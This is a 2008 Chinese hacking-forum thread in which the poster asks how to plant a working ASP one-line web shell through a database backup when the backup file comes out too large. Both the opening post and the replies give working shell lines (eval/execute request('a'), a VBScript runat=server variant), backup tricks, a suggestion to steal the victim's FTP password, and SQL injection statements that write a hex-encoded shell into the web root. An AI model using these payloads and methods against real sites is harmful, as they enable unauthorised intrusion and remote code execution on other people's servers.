返回列表 发帖
虚竹

Rank: 5Rank: 5

帖子
300 
积分
762 
威望
1212  
金钱
1030  
在线时间
3 小时 

贡献奖灌水王帅哥勋章
1楼 跳转到 » 倒序看帖
打印
tT
发表于 2008-7-21 00:20 | 只看该作者

[讨论]数据库过大导致bak出的小马也太大，从而导致无法连接，有什么好办法？

bak, 数据库, 办法, 讨论
[讨论]数据库过大导致bak出的小马也太大，从而导致无法连接，有什么好办法？
文章作者：redbin

信息来源：邪恶八进制信息安全团队（www.eviloctal.com）


数据库过大导致bak出的小马也太大，从而导致无法连接，有什么好办法？

<%eval(request("a")):response.end%>
<%eval(request("a"))%>
<%execute request("a")%>
全部尝试过
用那个结束语句也不可以，每次都drop掉一下新BAK，
测试过BAK成txt  下回来有9M多，改成ASP放自己服务器测试下确实由于过大，而且屏蔽了错误返回信息，从而导致连接不上！不知道各位有什么高见可以让BAK出的小一些呢？小了肯定就可以访问了，或者有什么方法可以能让可以连上即可！



ps:可以列目录但是找不到后台，已经手工测试了那个所谓的后台目录近百个文件！

QQ 35475
收藏 分享

lx319

Rank: 1

帖子
4 
积分
6 
威望
8  
金钱
8  
在线时间
0 小时 
2楼
发表于 2008-7-21 00:20 | 只看该作者
其实不必备份整个数据库的.备份个别的表也行的.具体百度一下吧.鸟大了,什么林子都飞.
帖子12 精华0 积分25 阅读权限40 性别男 来自南方 在线时间6 小时 注册时间2008-4-6 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 软件项目外包

miao2
﹎'颓废小猫;

晶莹剔透§烈日灼然

TOP

枫枫

Rank: 2

帖子
41 
积分
61 
威望
80  
金钱
76  
在线时间
0 小时 
3楼
发表于 2008-7-21 00:20 | 只看该作者
log备份出来的马好象只有70几K
而且原先数据库中不能有 "<%" 字符,不然一样连接不上.
我就记得这些了

帖子26 精华2 积分89 阅读权限40 性别男 在线时间102 小时 注册时间2007-7-28 最后登录2008-7-19 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

remax
晶莹剔透§烈日灼然

TOP

dahuzi3938

Rank: 1

帖子
18 
积分
27 
威望
36  
金钱
31  
在线时间
0 小时 
4楼
发表于 2008-7-21 00:20 | 只看该作者
差异。



备份。20字节够写什么？

帖子325 精华2 积分911 阅读权限50 在线时间79 小时 注册时间2005-10-25 最后登录2008-7-13 查看个人网站
查看详细资料引用 报告 回复 TOP

小胖子
Calm

晶莹剔透§烈日灼然

TOP

isuzu12626

Rank: 1

帖子
4 
积分
6 
威望
8  
金钱
7  
在线时间
0 小时 
5楼
发表于 2008-7-21 00:20 | 只看该作者
看一下可不可以跨库，备份别的库试一下。上次我上网查资料，突然弹出来一个网页，很黄很暴力，我赶紧给关了。

帖子191 精华2 积分494 阅读权限40 性别男 在线时间87 小时 注册时间2005-1-18 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP 少女暴富的隐秘（图）

blackpather
晶莹剔透§烈日灼然

TOP

n煲

Rank: 1

帖子
7 
积分
11 
威望
14  
金钱
14  
在线时间
0 小时 
6楼
发表于 2008-7-21 00:20 | 只看该作者
貌似碰到过这样的问题，  “屏蔽了错误返回信息”这个在服务器上是他自己自定义错误。
“可以列目录但是找不到后台” 好像是把后台删了，他自己机登陆后台管理时再FTP上传。
看他用的DD 是开源的不？ 运气好的话 把FTP 密码搞过来，替他上传后台文件。。。
那点不对请批评指正。。。越狱出来滴！

帖子8 精华0 积分33 阅读权限40 性别男 来自河南 在线时间25 小时 注册时间2007-5-29 最后登录2008-7-11 查看个人网站
查看详细资料引用 报告 回复 TOP 良辰择日，预测咨询，公司改名，权威易经

゛小︷帅！﹊
晶莹剔透§烈日灼然

TOP

旧化王

Rank: 1

帖子
12 
积分
18 
威望
24  
金钱
20  
在线时间
0 小时 
7楼
发表于 2008-7-21 00:20 | 只看该作者
NBSI快多了 。

%%被过滤的时候考虑下 <script language=vbscript runat=server>execute request("#")</script>



帖子58 精华0 积分155 阅读权限40 来自杭州 在线时间152 小时 注册时间2007-9-29 最后登录2008-7-16 查看个人网站
查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

poc
晶莹剔透§烈日灼然

TOP

pat1110

Rank: 1

帖子
14 
积分
20 
威望
26  
金钱
26  
在线时间
0 小时 
8楼
发表于 2008-7-21 00:20 | 只看该作者
你们回复只有一个同学说到了点
备份一个表
其他的也不看看楼主是什么人
汗！
帖子31 精华0 积分90 阅读权限40 性别男 在线时间57 小时 注册时间2007-3-18 最后登录2008-7-17 查看详细资料引用 报告 回复 TOP

outstand
晶莹剔透§烈日灼然

TOP

win

Rank: 1

帖子
13 
积分
20 
威望
26  
金钱
25  
在线时间
0 小时 
9楼
发表于 2008-7-21 00:20 | 只看该作者
导出一个表看看效果！
帖子5 精华0 积分6 阅读权限40 在线时间5 小时 注册时间2008-5-6 最后登录2008-5-27 查看详细资料引用 报告 回复 TOP

kof2008
晶莹剔透§烈日灼然

TOP

XYFHID

Rank: 1

帖子
10 
积分
15 
威望
20  
金钱
20  
在线时间
0 小时 
10楼
发表于 2008-7-21 00:20 | 只看该作者
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(0x3C25657865637574652872657175657374282261222929253EDA);
select cmd from a into outfile 'X:\WEB\1.asp';
Drop TABLE IF EXISTS a;
0x3C25657865637574652872657175657374282261222929253EDA是LAKE的一句话,密码为a
在PHP环境里我成功过,不知道ASP怎么样
MS在注入点后执行的话要加个;
如果是字符型的话还要加多个点'
帖子2 精华0 积分7 阅读权限40 性别男 在线时间2 小时 注册时间2006-8-28 最后登录2008-6-8 查看详细资料引用 报告 回复 TOP

jacksatan
晶莹剔透§烈日灼然

TOP

返回列表